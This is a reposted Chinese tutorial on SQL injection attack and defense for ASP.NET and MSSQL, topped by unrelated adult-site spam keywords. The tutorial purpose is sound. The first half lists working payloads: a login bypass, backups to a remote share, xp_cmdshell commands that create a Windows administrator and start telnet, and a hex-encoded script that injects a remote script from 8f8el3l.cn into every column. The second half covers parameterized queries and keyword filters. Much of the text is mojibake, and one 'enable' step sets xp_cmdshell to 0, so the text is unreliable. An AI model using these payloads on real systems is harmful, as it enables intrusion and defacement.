日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 人文社科 > 生活经验 >内容正文

生活经验

sql 注入入门

發(fā)布時(shí)間:2023/11/27 生活经验 27 豆豆
生活随笔 收集整理的這篇文章主要介紹了 sql 注入入门 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

=============安全性篇目錄==============

?

畢業(yè)開始從事winfrm到今年轉(zhuǎn)到?web?,在碼農(nóng)屆已經(jīng)足足混了快接近3年了,但是對安全方面的知識(shí)依舊薄弱,事實(shí)上是沒機(jī)會(huì)接觸相關(guān)開發(fā)……必須的各種借口。這幾天把sql注入的相關(guān)知識(shí)整理了下,希望大家多多提意見。

(對于sql注入的攻防,我只用過簡單拼接字符串的注入及參數(shù)化查詢,可以說沒什么好經(jīng)驗(yàn),為避免后知后覺的犯下大錯(cuò),專門查看大量前輩們的心得,這方面的資料頗多,將其精簡出自己覺得重要的,就成了該文)

?

????下面的程序方案是采用?ASP.NET + MSSQL,其他技術(shù)在設(shè)置上會(huì)有少許不同。???

????示例程序下載:SQL注入攻防入門詳解_示例

?

什么是SQL注入(SQL Injection)

所謂SQL注入式攻擊,就是攻擊者把SQL命令插入到Web表單的輸入域或頁面請求的查詢字符串,欺騙服務(wù)器執(zhí)行惡意的SQL命令。在某些表單中,用戶輸入的內(nèi)容直接用來構(gòu)造(或者影響)動(dòng)態(tài)SQL命令,或作為存儲(chǔ)過程的輸入?yún)?shù),這類表單特別容易受到SQL注入式攻擊。

?

?

嘗嘗SQL注入

  1. 一個(gè)簡單的登錄頁面

關(guān)鍵代碼:(詳細(xì)見下載的示例代碼)

1 2 3 4 5 6 privateboolNoProtectLogin(string?userName, string?password) { int?count = (int)SqlHelper.Instance.ExecuteScalar(string.Format ???????("SELECT COUNT(*) FROM Login WHERE UserName='{0}' AND Password='{1}'", userName, password)); return?count > 0 ? true?: false; }

方法中userName和?password?是沒有經(jīng)過任何處理,直接拿前端傳入的數(shù)據(jù),這樣拼接的SQL會(huì)存在注入漏洞。(帳戶:admin??123456)

?

1)???輸入正常數(shù)據(jù),效果如圖:

?

合并的SQL為:

SELECT COUNT(*) FROM Login WHERE UserName='admin' AND Password='123456'

?

2)???輸入注入數(shù)據(jù):

如圖,即用戶名為:用戶名:admin’—,密碼可隨便輸入

?

????合并的SQL為:

????SELECT COUNT(*) FROM Login WHERE UserName='admin'-- Password='123'

因?yàn)閁serName值中輸入了“--”注釋符,后面語句被省略而登錄成功。(常常的手法:前面加上'; ' (分號(hào),用于結(jié)束前一條語句),后邊加上'--' (用于注釋后邊的語句))

?

  1. 上面是最簡單的一種SQL注入,常見的注入語句還有:

1)???猜測數(shù)據(jù)庫名,備份數(shù)據(jù)庫

a)???猜測數(shù)據(jù)庫名:?and db_name() >0?或系統(tǒng)表master.dbo.sysdatabases

b)???備份數(shù)據(jù)庫:;backup database?數(shù)據(jù)庫名?to disk = ‘c:\*.db’;--

或:declare @a sysname;set @a=db_name();backup database @a to disk='你的IP你的共享目錄bak.dat' ,name='test';--

2)???猜解字段名稱

a)???猜解法:and (select count(字段名) from?表名)>0???若“字段名”存在,則返回正常

b)???讀取法:and (select top 1 col_name(object_id('表名'),1) from sysobjects)>0???把col_name(object_id('表名'),1)中的1依次換成2,3,4,5,6…就可得到所有的字段名稱。

3)???遍歷系統(tǒng)的目錄結(jié)構(gòu),分析結(jié)構(gòu)并發(fā)現(xiàn)WEB虛擬目錄(服務(wù)器上傳木馬)

????先創(chuàng)建一個(gè)臨時(shí)表:;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--

a)???利用xp_availablemedia來獲得當(dāng)前所有驅(qū)動(dòng)器,并存入temp表中

;insert temp exec master.dbo.xp_availablemedia;--

b)???利用xp_subdirs獲得子目錄列表,并存入temp表中

;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';--

c)???利用xp_dirtree可以獲得“所有”子目錄的目錄樹結(jié)構(gòu),并存入temp表中

;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--?(實(shí)驗(yàn)成功)

d)???利用?bcp?命令將表內(nèi)容導(dǎo)成文件

即插入木馬文本,然后導(dǎo)出存為文件。比如導(dǎo)出為asp文件,然后通過瀏覽器訪問該文件并執(zhí)行惡意腳本。(使用該命令必須啟動(dòng)’ xp_cmdshell’)

Exec master..xp_cmdshell N'BCP "select * from SchoolMarket.dbo.GoodsStoreData;" queryout c:/inetpub/wwwroot/runcommand.asp -w -S"localhost" -U"sa" -P"123"'

(注意:語句中使用的是雙引號(hào),另外表名格式為“數(shù)據(jù)庫名.用戶名.表名”)

在sql查詢器中通過語句:Exec master..xp_cmdshell N'BCP’即可查看BCP相關(guān)參數(shù),如圖:

?

4)???查詢當(dāng)前用戶的數(shù)據(jù)庫權(quán)限

MSSQL中一共存在8種權(quán)限:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。

可通過1=(select IS_SRVROLEMEMBER('sysadmin'))得到當(dāng)前用戶是否具有該權(quán)限。

5)???設(shè)置新的數(shù)據(jù)庫帳戶(得到MSSQL管理員賬戶)

d)???在數(shù)據(jù)庫內(nèi)添加一個(gè)hax用戶,默認(rèn)密碼是空

;exec sp_addlogin'hax';--

e)???給hax設(shè)置密碼?(null是舊密碼,password是新密碼,user是用戶名)

;exec master.dbo.sp_password null,password,username;--

f)???將hax添加到sysadmin組

;exec master.dbo.sp_addsrvrolemember 'hax' ,'sysadmin';--

6)???xp_cmdshell MSSQL存儲(chǔ)過程(得到 WINDOWS管理員賬戶 )

通過(5)獲取到sysadmin權(quán)限的帳戶后,使用查詢分析器連接到數(shù)據(jù)庫,可通過xp_cmdshell運(yùn)行系統(tǒng)命令行(必須是sysadmin權(quán)限),即使用?cmd.exe工具,可以做什么自己多了解下。

下面我們使用xp_cmdshell來創(chuàng)建一個(gè)?Windows?用戶,并開啟遠(yuǎn)程登錄服務(wù):

a)???判斷xp_cmdshell擴(kuò)展存儲(chǔ)過程是否存在

SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name ='xp_cmdshell'

b)???恢復(fù)xp_cmdshell擴(kuò)展存儲(chǔ)過程

Exec master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetput\web\xplog70.dll';

開啟后使用xp_cmdshell還會(huì)報(bào)下面錯(cuò)誤:

SQL Server?阻止了對組件?'xp_cmdshell'?的過程?'sys.xp_cmdshell'?的訪問,因?yàn)榇私M件已作為此服務(wù)器安全配置的一部分而被關(guān)閉。系統(tǒng)管理員可以通過使用sp_configure啟用?'xp_cmdshell'。有關(guān)啟用?'xp_cmdshell'?的詳細(xì)信息,請參閱?SQL Server?聯(lián)機(jī)叢書中的?"外圍應(yīng)用配置器"。

通過執(zhí)行下面語句進(jìn)行設(shè)置:

--?允許配置高級選項(xiàng)

EXEC sp_configure 'show advanced options', 1

GO

--?重新配置

RECONFIGURE

GO

--?啟用xp_cmdshell

EXEC sp_configure 'xp_cmdshell', 0

GO

--重新配置

RECONFIGURE

GO

c)???禁用xp_cmdshell擴(kuò)展存儲(chǔ)過程

Exec master.dbo.sp_dropextendedproc 'xp_cmdshell';

d)???添加windows用戶:

Exec xp_cmdshell 'net user awen /add';

e)???設(shè)置好密碼:

Exec xp_cmdshell 'net user awen password';

f)???提升到管理員:

Exec xp_cmdshell 'net localgroup administrators awen /add';

g)???開啟telnet服務(wù):

Exec xp_cmdshell 'net start tlntsvr'

7)???沒有xp_cmdshell擴(kuò)展程序,也可創(chuàng)建Windows帳戶的辦法.

(本人windows7系統(tǒng),測試下面SQL語句木有效果)

declare @shell int ;

execsp_OAcreate 'w script .shell',@shell output ;

execsp_OAmethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c net user awen /add';

execsp_OAmethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c net user awen 123';

execsp_OAmethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c net localgroup administrators awen /add';

在使用的時(shí)候會(huì)報(bào)如下錯(cuò):

SQL Server?阻止了對組件?'Ole Automation Procedures'?的過程?'sys.sp_OACreate'、'sys.sp_OAMethod'?的訪問,因?yàn)榇私M件已作為此服務(wù)器安全配置的一部分而被關(guān)閉。系統(tǒng)管理員可以通過使用sp_configure啟用?'Ole Automation Procedures'。有關(guān)啟用?'Ole Automation Procedures'?的詳細(xì)信息,請參閱?SQL Server?聯(lián)機(jī)叢書中的?"外圍應(yīng)用配置器"。

????????解決辦法:

sp_configure 'show advanced options', 1;

GO

RECONFIGURE;

GO

sp_configure 'Ole Automation Procedures', 1;

GO

RECONFIGURE;

GO

好了,這樣別人可以登錄你的服務(wù)器了,你怎么看?

8)???客戶端腳本攻擊

攻擊1:(正常輸入)攻擊者通過正常的輸入提交方式將惡意腳本提交到數(shù)據(jù)庫中,當(dāng)其他用戶瀏覽此內(nèi)容時(shí)就會(huì)受到惡意腳本的攻擊。

措施:轉(zhuǎn)義提交的內(nèi)容,.NET?中可通過System.Net.WebUtility.HtmlEncode(string)?方法將字符串轉(zhuǎn)換為HTML編碼的字符串。

?

攻擊2:(SQL注入)攻擊者通過SQL注入方式將惡意腳本提交到數(shù)據(jù)庫中,直接使用SQL語法UPDATE數(shù)據(jù)庫,為了跳過System.Net.WebUtility.HtmlEncode(string)?轉(zhuǎn)義,攻擊者會(huì)將注入SQL經(jīng)過“HEX編碼”,然后通過exec可以執(zhí)行“動(dòng)態(tài)”SQL的特性運(yùn)行腳本”。

參考:

注入:SQL注入案例曝光,請大家提高警惕

恢復(fù):批量清除數(shù)據(jù)庫中被植入的js

示例代碼:(可在示例附帶的數(shù)據(jù)庫測試)

a)???向當(dāng)前數(shù)據(jù)庫的每個(gè)表的每個(gè)字段插入一段惡意腳本

1 2 3 4 5 6 7 8 9 10 11 12 13 Declare?@T Varchar(255),@C Varchar(255) Declare?Table_Cursor Cursor?For Select?A.Name,B.Name From?SysobjectsA,Syscolumns B Where?A.Id=B.Id And?A.Xtype='u'?And?(B.Xtype=99 Or?B.Xtype=35 Or?B.Xtype=231 Or?B.Xtype=167) Open?Table_Cursor Fetch?Next?From??Table_Cursor Into?@T,@C While(@@Fetch_Status=0) Begin Exec('update ['+@T+'] Set ['+@C+']=Rtrim(Convert(Varchar(8000),['+@C+']))+''<script src=http://8f8el3l.cn/0.js></script>''') ????Fetch?Next?From?Table_Cursor Into?@T,@C End Close?Table_Cursor DeallocateTable_Cursor

b)???更高級的攻擊,將上面的注入SQL進(jìn)行“HEX編碼”,從而避免程序的關(guān)鍵字檢查、腳本轉(zhuǎn)義等,通過EXEC執(zhí)行

1 2 dEcLaRe?@s vArChAr(8000) sEt?@s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e49643d422e496420416e6420412e58747970653d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220422e58747970653d323331204f7220422e58747970653d31363729204f70656e205461626c655f437572736f72204665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c4043205768696c6528404046657463685f5374617475733d302920426567696e20457865632827757064617465205b272b40542b275d20536574205b272b40432b275d3d527472696d28436f6e7665727428566172636861722838303030292c5b272b40432b275d29292b27273c736372697074207372633d687474703a2f2f386638656c336c2e636e2f302e6a733e3c2f7363726970743e272727294665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c404320456e6420436c6f7365205461626c655f437572736f72204465616c6c6f63617465205461626c655f437572736f72; eXeC(@s);--

c)???批次刪除數(shù)據(jù)庫被注入的腳本

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 declare?@delStrnvarchar(500) set?@delStr='<script src=http://8f8el3l.cn/0.js></script>'?--要被替換掉字符 setnocount on declare?@tableNamenvarchar(100),@columnNamenvarchar(100),@tbIDint,@iRowint,@iResultint declare?@sqlnvarchar(500) set?@iResult=0 declare?cur cursor?for selectname,id from?sysobjects where?xtype='U' open?cur fetch?next?from?cur into?@tableName,@tbID while @@fetch_status=0 begin declare?cur1 cursor?for ????????--xtype in (231,167,239,175) 為char,varchar,nchar,nvarchar類型 select?name?from?syscolumns where?xtype in?(231,167,239,175) and?id=@tbID open?cur1 fetch?next?from?cur1 into?@columnName while @@fetch_status=0 begin set?@sql='update ['?+ @tableName + '] set ['+ @columnName +']= replace(['+@columnName+'],'''+@delStr+''','''') where ['+@columnName+'] like ''%'+@delStr+'%'''???? execsp_executesql @sql set?@iRow=@@rowcount set?@iResult=@iResult+@iRow if @iRow>0 begin ????print '表:'+@tableName+',列:'+@columnName+'被更新'+convert(varchar(10),@iRow)+'條記錄;' end fetch?next?from?cur1 into?@columnName end close?cur1 deallocate?cur1 fetch?next?from?cur into?@tableName,@tbID end print '數(shù)據(jù)庫共有'+convert(varchar(10),@iResult)+'條記錄被更新!!!' close?cur deallocate?cur setnocount off

?

d)???我如何得到“HEX編碼”?

開始不知道HEX是什么東西,后面查了是“十六進(jìn)制”,網(wǎng)上已經(jīng)給出兩種轉(zhuǎn)換方式:(注意轉(zhuǎn)換的時(shí)候不要加入十六進(jìn)制的標(biāo)示符?’0x’?)

  • 在線轉(zhuǎn)換 (TRANSLATOR, BINARY),進(jìn)入……
  • C#版的轉(zhuǎn)換,進(jìn)入……

9)???對于敏感詞過濾不到位的檢查,我們可以結(jié)合函數(shù)構(gòu)造SQL注入

比如過濾了update,卻沒有過濾declare、exec等關(guān)鍵詞,我們可以使用reverse來將倒序的sql進(jìn)行注入:

1 declare?@A varchar(200);set?@A=reverse('''58803303431''=emanresu erehw ''9d4d9c1ac9814f08''=drowssaP tes xxx tadpu');

?

防止SQL注入

  1. 數(shù)據(jù)庫權(quán)限控制,只給訪問數(shù)據(jù)庫的web應(yīng)用功能所需的最低權(quán)限帳戶。

如MSSQL中一共存在8種權(quán)限:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。

  1. 自定義錯(cuò)誤信息,首先我們要屏蔽服務(wù)器的詳細(xì)錯(cuò)誤信息傳到客戶端。

在?ASP.NET?中,可通過web.config配置文件的<customErrors>節(jié)點(diǎn)設(shè)置:

1 2 3 <customErrors?defaultRedirect="url" mode="On|Off|RemoteOnly"> ????<error.?. ./> </customErrors>

更詳細(xì),請進(jìn)入……

mode:指定是啟用或禁用自定義錯(cuò)誤,還是僅向遠(yuǎn)程客戶端顯示自定義錯(cuò)誤。

On

指定啟用自定義錯(cuò)誤。如果未指定defaultRedirect,用戶將看到一般性錯(cuò)誤。

Off

指定禁用自定義錯(cuò)誤。這允許顯示標(biāo)準(zhǔn)的詳細(xì)錯(cuò)誤。

RemoteOnly

指定僅向遠(yuǎn)程客戶端顯示自定義錯(cuò)誤并且向本地主機(jī)顯示?ASP.NET?錯(cuò)誤。這是默認(rèn)值。

看下效果圖:

設(shè)置為<customErrors mode="On">一般性錯(cuò)誤:

?

?

設(shè)置為<customErrors mode="Off">:

?

?

  1. 把危險(xiǎn)的和不必要的存儲(chǔ)過程刪除

xp_:擴(kuò)展存儲(chǔ)過程的前綴,SQL注入攻擊得手之后,攻擊者往往會(huì)通過執(zhí)行xp_cmdshell之類的擴(kuò)展存儲(chǔ)過程,獲取系統(tǒng)信息,甚至控制、破壞系統(tǒng)。

xp_cmdshell

能執(zhí)行dos命令,通過語句sp_dropextendedproc刪除,

不過依然可以通過sp_addextendedproc來恢復(fù),因此最好刪除或改名xplog70.dll(sql server 2000、windows7)

xpsql70.dll(sqlserer 7.0)

xp_fileexist

用來確定一個(gè)文件是否存在

xp_getfiledetails

可以獲得文件詳細(xì)資料

xp_dirtree

可以展開你需要了解的目錄,獲得所有目錄深度

Xp_getnetname

可以獲得服務(wù)器名稱

Xp_regaddmultistring

Xp_regdeletekey

Xp_regdeletevalue

Xp_regenumvalues

Xp_regread

Xp_regremovemultistring

Xp_regwrite

可以訪問注冊表的存儲(chǔ)過程

Sp_OACreate

Sp_OADestroy

Sp_OAGetErrorInfo

Sp_OAGetProperty

Sp_OAMethod

Sp_OASetProperty

Sp_OAStop

如果你不需要請丟棄OLE自動(dòng)存儲(chǔ)過程

?

  1. 非參數(shù)化SQL與參數(shù)化SQL

1)???非參數(shù)化(動(dòng)態(tài)拼接SQL)

a)???檢查客戶端腳本:若使用.net,直接用System.Net.WebUtility.HtmlEncode(string)將輸入值中包含的《HTML特殊轉(zhuǎn)義字符》轉(zhuǎn)換掉。

b)???類型檢查:對接收數(shù)據(jù)有明確要求的,在方法內(nèi)進(jìn)行類型驗(yàn)證。如數(shù)值型用int.TryParse(),日期型用DateTime.TryParse()?,只能用英文或數(shù)字等。

c)???長度驗(yàn)證:要進(jìn)行必要的注入,其語句也是有長度的。所以如果你原本只允許輸入10字符,那么嚴(yán)格控制10個(gè)字符長度,一些注入語句就沒辦法進(jìn)行。

d)???使用枚舉:如果只有有限的幾個(gè)值,就用枚舉。

e)???關(guān)鍵字過濾:這個(gè)門檻比較高,因?yàn)楦鱾€(gè)數(shù)據(jù)庫存在關(guān)鍵字,內(nèi)置函數(shù)的差異,所以對編寫此函數(shù)的功底要求較高。如公司或個(gè)人有積累一個(gè)比較好的通用過濾函數(shù)還請留言分享下,學(xué)習(xí)學(xué)習(xí),謝謝!

這邊提供一個(gè)關(guān)鍵字過濾參考方案(MSSQL):

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public?static?bool?ValiParms(string?parms) { ????if?(parms == null) ????{ ????????return?false; ????} ????Regex regex = new?Regex("sp_", RegexOptions.IgnoreCase); ????Regex regex2 = new?Regex("'", RegexOptions.IgnoreCase); ????Regex regex3 = new?Regex("create ", RegexOptions.IgnoreCase); ????Regex regex4 = new?Regex("drop ", RegexOptions.IgnoreCase);?? ????Regex regex5 = new?Regex("\"", RegexOptions.IgnoreCase); ????Regex regex6 = new?Regex("exec ", RegexOptions.IgnoreCase); ????Regex regex7 = new?Regex("xp_", RegexOptions.IgnoreCase); ????Regex regex8 = new?Regex("insert ", RegexOptions.IgnoreCase); ????Regex regex9 = new?Regex("delete ", RegexOptions.IgnoreCase); ????Regex regex10 = new?Regex("select ", RegexOptions.IgnoreCase); ????Regex regex11 = new?Regex("update ", RegexOptions.IgnoreCase); ????return?(regex.IsMatch(parms) || (regex2.IsMatch(parms) || (regex3.IsMatch(parms) || (regex4.IsMatch(parms) || (regex5.IsMatch(parms) || (regex6.IsMatch(parms) || (regex7.IsMatch(parms) || (regex8.IsMatch(parms) || (regex9.IsMatch(parms) || (regex10.IsMatch(parms) || (regex11.IsMatch(parms)))))))))))); }

優(yōu)點(diǎn):寫法相對簡單,網(wǎng)絡(luò)傳輸量相對參數(shù)化拼接SQL小

缺點(diǎn):

a)???對于關(guān)鍵字過濾,常常“顧此失彼”,如漏掉關(guān)鍵字,系統(tǒng)函數(shù),對于HEX編碼的SQL語句沒辦法識(shí)別等等,并且需要針對各個(gè)數(shù)據(jù)庫封裝函數(shù)。

b)???無法滿足需求:用戶本來就想發(fā)表包含這些過濾字符的數(shù)據(jù)。

c)???執(zhí)行拼接的SQL浪費(fèi)大量緩存空間來存儲(chǔ)只用一次的查詢計(jì)劃。服務(wù)器的物理內(nèi)存有限,SQLServer的緩存空間也有限。有限的空間應(yīng)該被充分利用。

2)???參數(shù)化查詢(Parameterized Query)

a)???檢查客戶端腳本,類型檢查,長度驗(yàn)證,使用枚舉,明確的關(guān)鍵字過濾這些操作也是需要的。他們能盡早檢查出數(shù)據(jù)的有效性。

b)???參數(shù)化查詢原理:在使用參數(shù)化查詢的情況下,數(shù)據(jù)庫服務(wù)器不會(huì)將參數(shù)的內(nèi)容視為SQL指令的一部份來處理,而是在數(shù)據(jù)庫完成?SQL?指令的編譯后,才套用參數(shù)運(yùn)行,因此就算參數(shù)中含有具有損的指令,也不會(huì)被數(shù)據(jù)庫所運(yùn)行。

c)???所以在實(shí)際開發(fā)中,入口處的安全檢查是必要的,參數(shù)化查詢應(yīng)作為最后一道安全防線。

優(yōu)點(diǎn):

  • 防止SQL注入(使單引號(hào)、分號(hào)、注釋符、xp_擴(kuò)展函數(shù)、拼接SQL語句、EXEC、SELECT、UPDATE、DELETE等SQL指令無效化)
  • 參數(shù)化查詢能強(qiáng)制執(zhí)行類型和長度檢查。
  • 在MSSQL中生成并重用查詢計(jì)劃,從而提高查詢效率(執(zhí)行一條SQL語句,其生成查詢計(jì)劃將消耗大于50%的時(shí)間)

缺點(diǎn):

  • 不是所有數(shù)據(jù)庫都支持參數(shù)化查詢。目前Access、SQL Server、MySQL、SQLite、Oracle等常用數(shù)據(jù)庫支持參數(shù)化查詢。

?

疑問:參數(shù)化如何“批量更新”數(shù)據(jù)庫。

a) 通過在參數(shù)名上增加一個(gè)計(jì)數(shù)來區(qū)分開多個(gè)參數(shù)化語句拼接中的同名參數(shù)。

EG:

1 2 3 4 5 6 7 8 9 StringBuilder sqlBuilder=new?StringBuilder(512); Int count=0; For(循環(huán)) { sqlBuilder.AppendFormat(“UPDATE login SET password=@password{0} WHERE username=@userName{0}”,count.ToString()); SqlParameter para=new?SqlParamter(){ParameterName=@password+count.ToString()} …… Count++; }

?

b) 通過MSSQL 2008的新特性:表值參數(shù),將C#中的整個(gè)表當(dāng)參數(shù)傳遞給存儲(chǔ)過程,由SQL做邏輯處理。注意C#中參數(shù)設(shè)置parameter.SqlDbType = System.Data.SqlDbType.Structured;??詳細(xì)請查看……

?

疑慮:有部份的開發(fā)人員可能會(huì)認(rèn)為使用參數(shù)化查詢,會(huì)讓程序更不好維護(hù),或者在實(shí)現(xiàn)部份功能上會(huì)非常不便,然而,使用參數(shù)化查詢造成的額外開發(fā)成本,通常都遠(yuǎn)低于因?yàn)镾QL注入攻擊漏洞被發(fā)現(xiàn)而遭受攻擊,所造成的重大損失。

?

另外:想驗(yàn)證重用查詢計(jì)劃的同學(xué),可以使用下面兩段輔助語法

1 2 3 4 5 6 7 8 9 --清空緩存的查詢計(jì)劃 DBCC FREEPROCCACHE GO --查詢緩存的查詢計(jì)劃 SELECT?stats.execution_count AS?cnt, p.size_in_bytes AS?[size], [sql].[text] AS?[plan_text]? FROM?sys.dm_exec_cached_plans p OUTER?APPLY sys.dm_exec_sql_text (p.plan_handle) sql JOIN?sys.dm_exec_query_stats stats ON?stats.plan_handle = p.plan_handle GO

3)???參數(shù)化查詢示例

效果如圖:

?

參數(shù)化關(guān)鍵代碼:

1 2 3 4 5 6 7 8 9 10 11 Private bool?ProtectLogin(string?userName, string?password) { ????SqlParameter[] parameters = new?SqlParameter[] ????{ ????????new?SqlParameter{ParameterName="@UserName",SqlDbType=SqlDbType.NVarChar,Size=10,Value=userName}, ????????new?SqlParameter{ParameterName="@Password",SqlDbType=SqlDbType.VarChar,Size=20,Value=password} ????}; ????int?count = (int)SqlHelper.Instance.ExecuteScalar ????????("SELECT COUNT(*) FROM Login WHERE UserName=@UserName AND Password=@password", parameters); ????return?count > 0 ? true?: false; }

?

  1. 存儲(chǔ)過程

存儲(chǔ)過程(Stored Procedure)是在大型數(shù)據(jù)庫系統(tǒng)中,一組為了完成特定功能的SQL?語句集,經(jīng)編譯后存儲(chǔ)在數(shù)據(jù)庫中,用戶通過指定存儲(chǔ)過程的名字并給出參數(shù)(如果該存儲(chǔ)過程帶有參數(shù))來執(zhí)行它。

優(yōu)點(diǎn):

a)???安全性高,防止SQL注入并且可設(shè)定只有某些用戶才能使用指定存儲(chǔ)過程。

b)???在創(chuàng)建時(shí)進(jìn)行預(yù)編譯,后續(xù)的調(diào)用不需再重新編譯。

c)???可以降低網(wǎng)絡(luò)的通信量。存儲(chǔ)過程方案中用傳遞存儲(chǔ)過程名來代替SQL語句。

缺點(diǎn):

a)???非應(yīng)用程序內(nèi)聯(lián)代碼,調(diào)式麻煩。

b)???修改麻煩,因?yàn)橐粩嗟那袚Q開發(fā)工具。(不過也有好的一面,一些易變動(dòng)的規(guī)則做到存儲(chǔ)過程中,如變動(dòng)就不需要重新編譯應(yīng)用程序)

c)???如果在一個(gè)程序系統(tǒng)中大量的使用存儲(chǔ)過程,到程序交付使用的時(shí)候隨著用戶需求的增加會(huì)導(dǎo)致數(shù)據(jù)結(jié)構(gòu)的變化,接著就是系統(tǒng)的相關(guān)問題了,最后如果用戶想維護(hù)該系統(tǒng)可以說是很難很難(eg:沒有VS的查詢功能)。

演示請下載示例程序,關(guān)鍵代碼為:

1 2 cmd.CommandText = procName;???????????????????? // 傳遞存儲(chǔ)過程名 cmd.CommandType = CommandType.StoredProcedure;? // 標(biāo)識(shí)解析為存儲(chǔ)過程

?

如果在存儲(chǔ)過程中SQL語法很復(fù)雜需要根據(jù)邏輯進(jìn)行拼接,這時(shí)是否還具有放注入的功能?

答:MSSQL中可以通過?EXEC?和sp_executesql動(dòng)態(tài)執(zhí)行拼接的sql語句,但sp_executesql支持替換?Transact-SQL?字符串中指定的任何參數(shù)值,?EXECUTE?語句不支持。所以只有使用sp_executesql方式才能啟到參數(shù)化防止SQL注入。

關(guān)鍵代碼:(詳細(xì)見示例)

a)???sp_executesql

1 2 3 4 5 6 7 8 9 10 11 CREATE?PROCEDURE?PROC_Login_executesql( @userNamenvarchar(10), @password?nvarchar(10), @count?int?OUTPUT ) AS BEGIN ???DECLARE?@s nvarchar(1000); set?@s=N'SELECT @count=COUNT(*) FROM Login WHERE UserName=@userName AND Password=@password'; ???EXEC?sp_executesql @s,N'@userName nvarchar(10),@password nvarchar(10),@count int output',@userName=@userName,@password=@password,@count=@countoutput END

b)???EXECUTE(注意sql中拼接字符,對于字符參數(shù)需要額外包一層單引號(hào),需要輸入兩個(gè)單引號(hào)來標(biāo)識(shí)sql中的一個(gè)單引號(hào))

1 2 3 4 5 6 7 8 9 10 CREATE?PROCEDURE?PROC_Login_EXEC( @userNamenvarchar(10), @password?varchar(20) ) AS BEGIN ???DECLARE?@s nvarchar(1000); set?@s='SELECT @count=COUNT(*) FROM Login WHERE UserName='''+CAST(@userName AS?NVARCHAR(10))+''' AND Password='''+CAST(@password?AS?VARCHAR(20))+''''; EXEC('DECLARE @count int;'?+@s+'select @count'); END

??????????注入截圖如下:

??????

?

  1. 專業(yè)的SQL注入工具及防毒軟件

情景1

A:“丫的,又中毒了……”

B:“我看看,你這不是裸機(jī)在跑嗎?”

電腦上至少也要裝一款殺毒軟件或木馬掃描軟件,這樣可以避免一些常見的侵入。比如開篇提到的SQL創(chuàng)建windows帳戶,就會(huì)立馬報(bào)出警報(bào)。

???

????情景2

????A:“終于把網(wǎng)站做好了,太完美了,已經(jīng)檢查過沒有漏洞了!”

????A:“網(wǎng)站怎么被黑了,怎么入侵的???”

????公司或個(gè)人有財(cái)力的話還是有必要購買一款專業(yè)SQL注入工具來驗(yàn)證下自己的網(wǎng)站,這些工具畢竟是專業(yè)的安全人員研發(fā),在安全領(lǐng)域都有自己的獨(dú)到之處。SQL注入工具介紹:10個(gè)SQL注入工具

?

  1. 額外小知識(shí):LIKE中的通配符

盡管這個(gè)不屬于SQL注入,但是其被惡意使用的方式是和SQL注入類似的。

參考:SQL中通配符的使用

%

包含零個(gè)或多個(gè)字符的任意字符串。

_

任何單個(gè)字符。

[]

指定范圍(例如?[a-f])或集合(例如?[abcdef])內(nèi)的任何單個(gè)字符。

[^]

不在指定范圍(例如?[^a - f])或集合(例如?[^abcdef])內(nèi)的任何單個(gè)字符。

????在模糊查詢LIKE中,對于輸入數(shù)據(jù)中的通配符必須轉(zhuǎn)義,否則會(huì)造成客戶想查詢包含這些特殊字符的數(shù)據(jù)時(shí),這些特殊字符卻被解析為通配符。不與LIKE?一同使用的通配符將解釋為常量而非模式。

注意使用通配符的索引性能問題:

a)???like的第一個(gè)字符是'%'或'_'時(shí),為未知字符不會(huì)使用索引, sql會(huì)遍歷全表。

b)???若通配符放在已知字符后面,會(huì)使用索引。

網(wǎng)上有這樣的說法,不過我在MSSQL中使用?ctrl+L?執(zhí)行語法查看索引使用情況卻都沒有使用索引,可能在別的數(shù)據(jù)庫中會(huì)使用到索引吧……

截圖如下:

?

????有兩種將通配符轉(zhuǎn)義為普通字符的方法:

1)???使用ESCAPE關(guān)鍵字定義轉(zhuǎn)義符(通用)

在模式中,當(dāng)轉(zhuǎn)義符置于通配符之前時(shí),該通配符就解釋為普通字符。例如,要搜索在任意位置包含字符串?5%?的字符串,請使用:

????????WHERE ColumnA LIKE '%5/%%' ESCAPE '/'

2)???在方括號(hào)?([ ])?中只包含通配符本身,或要搜索破折號(hào)?(-)?而不是用它指定搜索范圍,請將破折號(hào)指定為方括號(hào)內(nèi)的第一個(gè)字符。EG:

符號(hào)

含義

LIKE '5[%]'

5%

LIKE '5%'

5?后跟?0?個(gè)或多個(gè)字符的字符串

LIKE '[_]n'

_n

LIKE '_n'

an, in, on (and so on)

LIKE '[a-cdf]'

a、b、c、d?或?f

LIKE '[-acdf]'

-、a、c、d?或?f

LIKE '[ [ ]'

[

LIKE ']'

]???(右括號(hào)不需要轉(zhuǎn)義)

????????所以,進(jìn)行過輸入?yún)?shù)的關(guān)鍵字過濾后,還需要做下面轉(zhuǎn)換確保LIKE的正確執(zhí)行

